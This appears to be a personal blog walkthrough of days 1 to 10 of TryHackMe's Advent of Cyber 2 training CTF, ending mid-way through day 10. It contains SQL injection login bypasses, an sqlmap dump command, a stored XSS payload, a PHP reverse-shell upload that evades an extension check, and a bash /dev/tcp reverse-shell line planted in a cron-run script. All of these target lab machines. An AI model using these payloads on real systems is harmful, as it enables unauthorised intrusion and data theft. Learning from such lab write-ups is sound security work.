# Advent of Cyber 2 ~ Try Hack Me

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986571928/c5911327-0fd1-488e-a510-78dfe26df957.jpeg)

Advent of Cyber 2 is an event by [TryHackMe](https://tryhackme.com/christmas) where they release 25 CTF challenges (1 per day) leading up to Christmas day! I missed out last year so here I am in 2020 tryna crack all 25 challenges! I will be updating this post _(hopefully daily)_ as more challenges are released. Lets see if I will be able to crack all 25. Hacky Holidays! :)

> After last year's shenanigans where Elf McElferson and Elf McSkidy were on damage control mode the entirety of December, McSkidy vowed to never let that happen again. The previous Christmas period was extremely stressful with the Christmas Monster managing to compromise every system within Santa's corporate infrastructure to prevent Christmas from happening. Is Christmas still in danger this year?  
> \-Backstory

* * *

### Prerequisite

As always, just make sure that the VPN connection is active and ready to go 😊

    sudo openvpn /path/to/file.ovpn

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986573414/d918a8f9-2a66-4123-8af6-e1b23aaf652f.png)

Okay now onto the challenges!

* * *

\[Day 1\]  A Christmas Crisis
-----------------------------

> _Web Exploitation | HTTP | Cookies_  
>   
> __Having read the lengthy dossier,  you get ready to hack your way back into Santa's Christmas Control Centre! You ****enter the IP address at the top of the screen into your browser search bar**** and press enter to load the page.__

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986575446/ddb7757f-9258-46c7-932d-a95179b12bc2.png)

Accessing the IP via a browser returns the target web app that was meant to be exploited. First thing I did was to create an account and login.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986578151/ccca15f0-c01b-4a8c-9cc3-eaa768c7a55c.png)

All controls were turned off by the "attacker". At this point it was clear that some sort of privilege escalation had to be done to get to santa's account so that all controls can be turned on. I started inspecting the site as per normal. (robots.txt, html/css inspection, session storage/cookie values)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986579745/9fad3e48-8ff9-4407-8308-4cbd83404e6a.png)

Cookie

On closer inspection I realized that there was a cookie named `auth` and it's value was encoded in _hexadecimal_.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986580810/f5ec3bf4-53d5-4786-b320-4ceba61b0869.png)

decoded cookie value

While decoding, I realized that the username was exposed. Thus, to become the santa user I encoded the same string but with the username `santa` , modified the cookie value with the new value I got and finally hit refresh.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986581801/7980ee58-de09-4c6e-ba50-ced277256ba2.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986584800/91b93c2d-7d39-413f-b885-dd736c8c9d93.png)

And....that's how I gained access to "Santa's" account. After switching all the control's status to active, I was also awarded the flag for this challenge.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986587256/0e704df5-008a-4572-bbbe-39fd1825fa2f.png)

* * *

\[Day 2\]  The Elf Strikes Back!
--------------------------------

> _Web Exploitation | RCE_  
>   
> For Elf McEager:  
> You have been assigned an ID number for your audit of the system: **`ODIzODI5MTNiYmYw`** . Use this to gain access to the upload section of the site.  
> Good luck!

Accessing the IP via a browser returns the target web app that was meant to be exploited.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986589382/2974a74f-ed1d-42fc-8407-842ffd3e6332.png)

I was told to enter an ID as the `GET` parameter. However, I entered a blank `GET` = `?id=` and I was redirected to a file upload page.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986592765/2fc5a76d-afdf-4aae-bf4b-2df4f4fd16c2.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986594656/8dde807c-38d5-4fab-9316-8cddac7228bf.png)

I also realized that there was a `/upload/` directory that was accessible by the public.

I was quick to realize that this was a file upload vulnerability. While inspecting the file upload page's source code, I realized that it only accepted `jpeg`,  `jpg` and `png`

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986596399/800ebab3-101a-4ad2-82b2-8ad03210240c.png)

I started off by grabbing one of the default shells in kali from

`┌──(nee㉿kali)-[~/boxes/thm/christmas/day2]`  
`└─$ ls /usr/share/webshells/php/`

I then renamed the file to `php-reverse-shell.jpg.php` . This was to evade the front end file check. Followed by this, I was able to upload the reverse shell onto the server.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986597677/bb0f3a3d-0920-41af-81be-bd1b0b8012a6.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986598851/f5f8e30f-e610-4472-a78c-abe39d63705c.png)

I then fired up netcat and setup a listening connection via the port specified in the reverse shell file.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986599849/42445c5a-b814-485d-8727-56f6b61f531f.png)

Lastly, I triggered the file by simply accessing it via the `/uploads/` directory which I discovered earlier and got a responsive shell!

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986600815/45592cc1-8c12-4863-be15-20c0c6e33e5e.png)

andddd....flag! 🙋‍♂️

* * *

\[Day 3\]  Christmas Chaos
--------------------------

> _Web Exploitation | Authentication Bypass_  
>   
> __McSkidy runs to the room, slamming open the door to see Santa's sleighs control panel lite up in red error messages! "Santa sleigh! It's been hacked, code red.. code red!" he screams as he runs back to the elf security command center._ _Can you help McSkidy and his team hack into Santa's Sleigh to re-gain control?__

Wordlist  
Given to assist with the process.

Username

Password

root

root

admin

password

user

12345

Accessing the IP via a browser returns the target web app that was meant to be exploited.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986602577/283e40b3-f667-4576-ad45-7037737a81b7.png)

I was quick to realize that this had something to do with brute forcing the login credentials.

First thing I did was to setup my proxy and launch `[burpsuite](https://portswigger.net/burp)` and add the target url to my scope. (This was to prevent intercepting other traffic on my machine)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986603704/25cc8dc4-7df4-4868-8aa9-a5b357c28810.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986605611/9daa93fe-a0be-409e-8987-2a3c858450c6.png)

Next, I entered a set of incorrect credentials to capture the login request to the server. This was so that I could repeat the requests with credentials from the wordlist provided.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986606728/30068f86-1eb8-4c62-9c7b-dbc66984df78.png)

I was able to see the username and password field and its values in the request that I captured with my proxy (Burpsuite).

I then sent the request to `[Intruder](https://portswigger.net/burp/documentation/desktop/tools/intruder/using)` to continue with the attack.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986607927/58b305b0-d546-46d6-a288-8a6842218490.png)

In intruder, we are able to set the field that we would like to fuzz. In this case, I set the username and password as the fields to fuzz.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986609692/4bb4b151-1d38-4cfe-9370-a45229a0cda6.png)

Next, I pasted imported the wordlist into the payload set 1 and 2 respectively for username & password and fired off the attaccccc.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986610970/124fff7a-6a2c-449c-bb78-7c362b70ff3a.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986612213/0b80570d-accd-4330-a977-a81b327cf2c3.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986613274/d8093316-052f-46ef-8d32-878177162f2b.png)

As seen above, one of my payloads' response length was shorter than the others. This could mean that those were the right set of credentials. Thus, I proceeded to login with these credentials.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986614363/bf6d1c0d-f73a-413b-9353-36ee15476a7b.png)

And....I was presented with the flag after logging in with the brute forced credentials! GGs.

* * *

\[Day 4\]  Santa's watching
---------------------------

> _Web Exploitation | Authentication Bypass_  
>   
> Our malicious, despicable, vile, cruel, contemptuous, evil hacker has defaced Elf's forums and completely removed the login page! However, we may still have access to the API. The sysadmin also told us that the API creates logs using dates with a format of YYYYMMDD. We also know that the API takes a date in the form of YYYYMMDD. Aid in the recovery of Elf's forums!

This is what I was provided with when accessing the site.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986615584/85e8d020-8d31-4846-887a-8bec1fbefae6.png)

I started off with a `gobuster` scan against the box to discover the `API` directory.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day4]
    └─$ gobuster dir -u http://10.10.116.182/ -w /usr/share/wordlists/dirb/big.txt 

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986616721/cfc0a900-ac52-4466-bf99-e357a39b5026.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986618493/1ebaa74d-68e3-4111-8758-ea2f8350ef8d.png)

After finding the API, I moved on to fuzzing the `API` with the [wordlist](https://assets.tryhackme.com/additional/cmn-aoc2020/day-4/wordlist) that was provided by THM. I knew that the `API` took in a date parameter. Thus I formed a `wfuzz` command that fuzzes a data parameter with the given wordlist.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day4]
    └─$ wfuzz -c -z file,wordlist -d "date=FUZZ" -u http://10.10.116.182/api/site-log.php
    
    -c = Shows the output in color
    -d = Specify the parameters you want to fuzz with
    -z = Specifies what will replace FUZZ in the request
    -u = Target URI

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986619575/c5ec4fc1-3c4d-419d-9e4b-aa341b57d674.png)

After the attack completed I realized that one of the responses had some characters in the response. Thus, I went to check it out.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986620685/0096a4b0-a9b3-41fe-b798-641458af2261.png)

And that's how I solved day 4's challenge!

* * *

\[Day 5\]  Someone stole Santa's gift list!
-------------------------------------------

> _Web Exploitation | SQLi | PHP_  
>   
> After last year's attack, Santa and the security team have worked hard on reviving Santa's personal portal. Hence, 'Santa's forum 2' went live.  
> After the attack, logs have revealed that someone has found Santa's panel on the website and logged into his account! After doing so, they were able to dump the whole gift list database, getting all the 2020 gifts in their hands. An attacker has threatened to publish a wishlist.txt file, containing all information, but happily, for us, he was caught by the CBI (Christmas Bureau of Investigation) before that. On 10.10.206.123:8000 you'll find the copy of the website and your goal is to replicate the attacker's actions by dumping the gift list!

This is what I was provided with when accessing the site.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986621690/219a54cd-c374-4697-9139-1274e435fd2a.png)

The first task was to find santa's login panel.

    Without using directory brute forcing, what's Santa's secret login panel?
    
    HINT: The name is derived out of 2 words from this question. /s**tap***l

The panel could be found at:

[`http://10.10.206.123:8000/santapanel`](http://10.10.206.123:8000/santapanel)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986623568/35ed6e4d-34ba-4952-a707-cfaeb90ff5d7.png)

A simple SQL Injection payload allows us to bypass the login screen and login to the portal as santa~!

    ' or true --
    admin' or 1=1 --

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986625254/fb2d65ac-b0da-4abb-8d61-1c01e0646855.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986627791/fe3b5d67-34e1-4c66-b0e3-c5d2390a0b8b.png)

After bypassing the login page, I was greeted with a portal search access to the database. I decided to fire up burp and capture the search request.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986629324/28f3e410-3035-42f1-8f31-f153e292e756.png)

Now that I had the search request, I proceeded to run SQLmap on the request file to see if the GET parameter `search` was injectable.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day5]
    └─$ sqlmap -r search.req --tamper=space2comment --dump-all --dbms sqlite
    
    -r = request file
    --tamper = the string given to us to bypass the WAF
    --dump-all = dumps all the entries in the database
    --dbms = to specify the backend database that santa is using

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986630485/11c53817-f797-4b46-906a-359f00b5e1ad.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986632621/1b922499-1af5-40b9-8a0f-cf5100d122f0.png)

And with that, day 5's challenge is over!

* * *

\[Day 6\]  Be careful with what you wish on a Christmas night
-------------------------------------------------------------

> _Web Exploitation | Javascript | XSS_  
>   
> This year, Santa wanted to go fully digital and invented a "Make a wish!" system. It's an extremely simple web app that would allow people to anonymously share their wishes with others. Unfortunately, right after the hacker attack, the security team has discovered that someone has compromised the "Make a wish!". Most of the wishes have disappeared and the website is now redirecting to a malicious website.  An attacker might have pretended to submit a wish and put a malicious request on the server! The security team has pulled a back-up server for you on 10.10.66.131:5000. Your goal is to find the way the attacker could have exploited the application.

This is what I was provided with when accessing the site.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986634025/83e5a91f-e4af-49a5-a5e5-22c7ab31a6f4.png)

There wasn't a flag to uncover in this challenge. The main goal was to find the way the attacker could have exploited the application.

I fired up ZAP and started an Automated Scan against the website.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986635426/95975c8e-479b-419f-9b04-2a2b0146ed0a.png)

ZAP was quick in finding out that there were 2 Cross Site Scripting vulnerabilities that could be abused.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986636486/b3a55711-ff12-48d7-ba80-e38dcba36726.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986638863/6adbcc66-4a89-41e6-ab38-7995a4a072c8.png)

That was pretty easy. However, I wanted to test it out for myself and see if the site was actually vulnerable. Here's how I did it.

    <img src='https://neeranjan.com/content/images/size/w1000/2020/07/LOGO-2.png' onmouseover="alert('Nee was here.')">

I generated this payload which I could inject into the `wishes` database and trigger a persistent XSS attack. So, whenever someone views this page, they'll see my logo and when they mouse over it, an alert will pop up saying "Nee was here."  

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986640038/a278f32f-5041-4f90-a405-265fe7bdf0ad.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986641133/601b057f-89f0-4166-af81-760c25a83521.png)

That's the end of day 6!

* * *

\[Day 7\]  The Grinch Really Did Steal Christmas
------------------------------------------------

> _Network | Wireshark | Packet Analysis_  
>   
> It's 6 AM and Elf McSkidy is clocking-in to The Best Festival Company's SOC headquarters to begin his watch over TBFC's infrastructure. After logging in, Elf McEager proceeds to read through emails left by Elf McSkidy during the nightshift.  
>   
> More automatic scanning alerts, oh look, another APT group. It feels like it's going to be a long, but easy start to the week for Elf McEager.  
>   
> Whilst clearing the backlog of emails, Elf McEager reads the following: "****URGENT:**** Data exfiltration detected on TBFC-WEB-01". "__Uh oh__" goes Elf McEager. "__TBFC-WEB-01? That's Santa's webserver! Who has the motive to steal data from there?!__". It's time for the ever-vigilant Elf McEager to prove his salt and find out exactly what happened.  
>   
> Unknowingly to Elf McEager, Elf McSkidy made this all up! Fortunately, this isn't a real attack - but a training exercise created ahead of Elf McEager's performance review.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day7]
    └─$ ls -lah
    total 8.5M
    drwxr-xr-x 2 nee nee 4.0K Dec  7 13:30 .
    drwxr-xr-x 6 nee nee 4.0K Dec  7 13:30 ..
    -rwxrw-rw- 1 nee nee 4.2M Dec  7 13:29 aoc-pcaps.zip
    -rw-r--r-- 1 nee nee 3.7M Nov 30 17:16 pcap1.pcap
    -rw-r--r-- 1 nee nee  35K Nov 30 17:37 pcap2.pcap
    -rw-r--r-- 1 nee nee 598K Nov 30 19:48 pcap3.pcap
    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day7]
    └─$ 
    

I was given 3 files to investigate.

> Challenge 1

The first challenge was to find out which IP address initiates an `ICMP/ping` in `pcap1.pcap`

For this challenge , I filtered the traffic by protocol and viewed the first entry that was returned.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986642312/cc7d18af-f9f5-438e-8c3e-c2431c9d5f16.png)

The source that initiated the ping request was `10.11.3.2`

> Challenge 2

The next challenge was to be able to construct a simple filter in wireshark that would only return all the HTTP GET requests.

This can be done with basic filter as follows

    http.request.method
    
    http.request.method == GET

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986643629/844175aa-0a19-44fa-8101-93a5c8a00e34.png)

The next part to this challenge was to find out what the name of the article that the IP address `10.10.67.199` visited was. For this, I chained 2 filters together to narrow down my traffic.

    ip.src == 10.10.67.199 || http.request.method == GET
    
    || = AND

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986645436/aee3068e-734d-4e71-8870-5e28b66f0503.png)

This filter led me to a packet where it was sending a `GET` request to `/posts`. Thus, I followed the traffic and investigated more.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986646576/3b06f0d9-6801-46cd-abb9-05ca5c1a20d9.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986647793/97d69d9d-04f9-4f68-9ed1-ad721c382a09.png)

And in that stream was the name of the article! `reindeer-of-the-week`

For the next challenge, I was given a pcap file and asked to retrieved the password that was leaked via the `FTP` protocol during the login process.

I opened the pcap file with wireshark and filtered for FTP traffic.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986649173/811b7605-235b-4c1d-b8c0-6d7a71cbac36.png)

On inspection, I realized that there was a packet with the info `Please specify the password`. I followed the TCP stream of that particular packet and was presented with the password.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986650297/922fe957-2967-4421-b2dc-5f03e37e1591.png)

> Challenge 3

And for the last challenge, I was given another pcap file and asked to discover what was on Elf McSkidy's wishlist that will be used to replace Elf McEager.

The first thing I did was to see if there was any HTTP objects that I could export. To my surprise, there was a file named `christmas.zip` that was transmitted during the packet capture.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986651359/f636d8ef-63c2-4001-b2bf-aafd579a650b.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986652236/67cd3f56-ee22-4c3d-b9b7-6653e51b79af.png)

I then proceeded to save this zip file and investigate it further.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986653161/784e8b75-53cd-4965-9d9c-7a294e70f573.png)

Unzipping the file gave me access to 6 files. However, I was only interested to look at one file in particular. It was `elf_mcskidy_wishlist.txt`.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day7/christmas]
    └─$ cat elf_mcskidy_wishlist.txt 
    Wish list for Elf McSkidy
    -------------------------
    Budget: £100
    
    x3 Hak 5 Pineapples
    x1 Rubber ducky (to replace Elf McEager)

And there it was. The answer to `What is on Elf McSkidy's wishlist that will be used to replace Elf McEager?`.

That concludes day 7 of the event!

* * *

\[Day 8\]  What's Under the Christmas Tree?
-------------------------------------------

> _Networking | NMAP_  
>   
> After a few months of probation, intern Elf McEager has passed with glowing feedback from Elf McSkidy. During the meeting, Elf McEager asked for more access to The Best Festival Company's (TBFC'z) internal network as he wishes to know more about the systems he has sworn to protect.  
>   
> Elf McSkidy was reluctant to agree. However, after Elf McEager's heroic actions in recovering christmas, Elf McSkidy soon thought this was a good idea. This was uncharted territory for Elf McEager - he had no idea how to begin finding out this information for his new responsibilites. Thankfully, TBFC has a wonderful up-skill program covering the use of Nmap for ElfMcEager to enrol in.

`Target = 10.10.214.172   // I've added an entry in my hosts file to this IP`

Since the day was based around `NMAP` , I fired off my NMAP scan even before reading the challenge questions.

    ┌──(nee㉿kali)-[~]
    └─$ nmap -sC -sV -A tbfc.blog
    
    Nmap scan report for tbfc.blog (10.10.214.172)
    Host is up (0.35s latency).
    Not shown: 996 closed ports
    PORT      STATE    SERVICE       VERSION
    80/tcp    open     http          Apache httpd 2.4.29 ((Ubuntu))
    |_http-generator: Hugo 0.78.2
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: TBFC&#39;s Internal Blog
    2222/tcp  open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 cf:c9:99:d0:5c:09:27:cd:a1:a8:1b:c2:b1:d5:ef:a6 (RSA)
    |   256 4c:d4:f9:20:6b:ce:fc:62:99:54:7d:c2:b4:b2:f2:b2 (ECDSA)
    |_  256 d0:e6:72:18:b5:20:89:75:d5:69:74:ac:cc:b8:3b:9b (ED25519)
    3389/tcp  open     ms-wbt-server xrdp
    49157/tcp filtered unknown
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

> Challenge 1

The challenge was to find the ports that were open & hosting services and arrange them in ascending order.

That wasn't too hard, thanks to the NMAP scan I kicked off earlier.

    80 = Web
    
    2222 = SSH  //SeCuRiTy ThOrUgH ObScUrIty
    
    3380 = RDP

> Challenge 2

The next challenge was to find the distribution of Linux the machine was using.

This was pretty straight forward due to the scan I ran earlier. But to be exact the option `-A` assisted with this one. (Aggressive scan)

    80/tcp    open     http          Apache httpd 2.4.29 ((Ubuntu))
    2222/tcp  open     ssh           OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

> Challenge 3

The last challenge was to use NMAP's Network Scripting Engine to retrieve the `HTTP-TITLE` of the web server and infer what the site could've been used for.

The option `-sC` came in clutch for this challenge. `-sC` Performs a script scan using the default set of scripts NMAP has in store.

    80/tcp    open     http          Apache httpd 2.4.29 ((Ubuntu))
    |_http-generator: Hugo 0.78.2
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: TBFC&#39;s Internal Blog

Thus, I concluded that the site was being used as a `blog`.

And....that's about it for day 8!

* * *

\[Day 9\]  **Anyone can be Santa!**
-----------------------------------

> _Networking | FTP_  
>   
> Even Santa has been having to adopt the "work from home" ethic in 2020. To help Santa out, Elf McSkidy and their team created a file server for The Best Festival Company (TBFC) that uses the FTP protocol. However, an attacker was able to hack this new server. Your mission, should you choose to accept it, is to understand how this hack occurred and to retrace the steps of the attacker.

`Target = 10.10.113.151`

I started off the day with the usual NMAP scan used in one of the previous days and these were my results

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day9]
    └─$ nmap -Pn -sC -sV -A -oN initial.nmap 10.10.113.151
    
    
    Nmap scan report for 10.10.113.151
    Host is up (0.35s latency).
    Not shown: 998 closed ports
    PORT   STATE SERVICE VERSION
    21/tcp open  ftp     vsftpd 2.0.8 or later
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    | drwxr-xr-x    2 0        0            4096 Nov 16 15:04 backups
    | drwxr-xr-x    2 0        0            4096 Nov 16 15:05 elf_workshops
    | drwxr-xr-x    2 0        0            4096 Nov 16 15:04 human_resources
    |_drwxrwxrwx    2 65534    65534        4096 Nov 16 19:35 public [NSE: writeable]
    | ftp-syst: 
    |   STAT: 
    | FTP server status:
    |      Connected to ::ffff:10.4.16.248
    |      Logged in as ftp
    |      TYPE: ASCII
    |      No session bandwidth limit
    |      Session timeout in seconds is 300
    |      Control connection is plain text
    |      Data connections will be plain text
    |      At session startup, client count was 3
    |      vsFTPd 3.0.3 - secure, fast, stable
    |_End of status
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 f6:ce:52:11:22:9e:b1:c0:ae:45:2a:f9:2f:70:eb:cb (RSA)
    |   256 4b:77:b2:d4:76:53:8c:ec:cb:be:3a:69:51:ff:3c:8f (ECDSA)
    |_  256 53:3f:2f:ca:c2:d6:ce:ec:99:30:f7:1f:ce:a5:d7:f5 (ED25519)
    Service Info: Host: Welcome; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Since port 21 was open, I attempted to login to the FTP server as an anonymous user. As uncovered from the NMAP scan, anonymous users had `Read/Write/Execute` permissions in the `public` directory.

    21/tcp open  ftp     vsftpd 2.0.8 or later
    |_drwxrwxrwx    2 65534    65534        4096 Nov 16 19:35 public [NSE: writeable]

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986654498/9acdc19c-61c1-455f-8e04-e0e65422fc20.png)

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986655683/9909b6bd-018e-487a-b3b7-152e36bed5cc.png)

In the directory, I noticed that there was a file named `backup.sh` and in it contents was a line that went like this.

    # TO-DO: Automate transfer of backups to backup server
    

This gave me the idea of modifying this file to get a reverse shell onto the machine

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986657783/d9375833-f558-414d-9fe7-c145e64440dd.png)

    bash -i >& /dev/tcp/10.4.16.248/666 0>&1

I wiped the script clean, added this one line into the file and saved it on the server. I then moved onto opening up a `netcat` listener to catch the incoming traffic on port `666` .

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986659682/760ac3f6-a408-4e1b-97c6-e3df9cc52a1e.png)

After waiting for about 5 minutes, my theory was confirmed. I got a reverse shell back from the remote server. This meant that the `backup.sh` was indeed running every few mind to back up the server contents.

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986660737/333b7ab7-3abb-4dce-b74b-1b59cd0db0a0.png)

:)

Before leaving the machine, I grabbed the flag located at `/root/flag.txt`

![Advent of Cyber 2 ~ Try Hack Me](https://cdn.hashnode.com/res/hashnode/image/upload/v1680986662536/5313cac0-02c8-418d-9e27-c7c03623e9e7.png)

* * *

\[Day 10\]  Don't be Elfish!
----------------------------

> _Networking | SMB_  
>   
> The Best Festival Company (TBFC) has since upscaled its IT infrastructure after last year's attack for all the other elves to use, including a VPN server and a few other services. You breathe a sigh of relief..."That's it, Me, Elf McEager saved the Christmas of 2020! I can't wait to---"  
>   
> **But suddenly, a cold shiver runs down your spine, interrupting your monologue...**  
>   
> You suddenly recall that Elf McSkidy had set up a Samba file server just before the attack occurred - could this have been hacked too?!  What about our data...Oh no, quick! Find out what usernames may have been leaked and attempt to login to the server yourself, noting down any vulnerabilities found to report back to Elf McSkidy.

`Target = 10.10.184.213`

As always, I started off the NMAP scan before looking at the challenges and here were my results.

    Nmap scan report for tar.get (10.10.184.213)
    PORT    STATE SERVICE     VERSION
    22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: TBFC-SMB-01)     
    445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: TBFC-SMB-01) 
    Service Info: Host: TBFC-SMB; OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Host script results:
    |_clock-skew: mean: 0s, deviation: 1s, median: 0s
    | nbstat: NetBIOS name: TBFC-SMB, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
    | Names:
    |   TBFC-SMB<00>         Flags: <unique><active>
    |   TBFC-SMB<03>         Flags: <unique><active>
    |   TBFC-SMB<20>         Flags: <unique><active>
    |   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
    |   TBFC-SMB-01<00>      Flags: <group><active>
    |   TBFC-SMB-01<1d>      Flags: <unique><active>
    |_  TBFC-SMB-01<1e>      Flags: <group><active>
    | smb-os-discovery: 
    |   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
    |   Computer name: tbfc-smb
    |   NetBIOS computer name: TBFC-SMB\x00
    |   Domain name: \x00
    |   FQDN: tbfc-smb
    |_  System time: 2020-12-11T17:48:02+00:00
    | smb-security-mode: 
    |   account_used: guest
    |   authentication_level: user
    |   challenge_response: supported
    |_  message_signing: disabled (dangerous, but default)
    | smb2-security-mode: 
    |   2.02: 
    |_    Message signing enabled but not required
    | smb2-time: 
    |   date: 2020-12-11T17:48:02
    |_  start_date: N/A
    

The NMAP scan found some samba shared on the target machine. Thus, I decided to run `enum4linux` to retrieve the users and shares hosted on the target machine.

    ┌──(nee㉿kali)-[~/boxes/thm/adventofcyber2/day10]
    └─$ enum4linux -U tar.get
    
     ======================== 
    |    Users on tar.get    |
     ======================== 
    index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: elfmcskidy       Name:   Desc: 
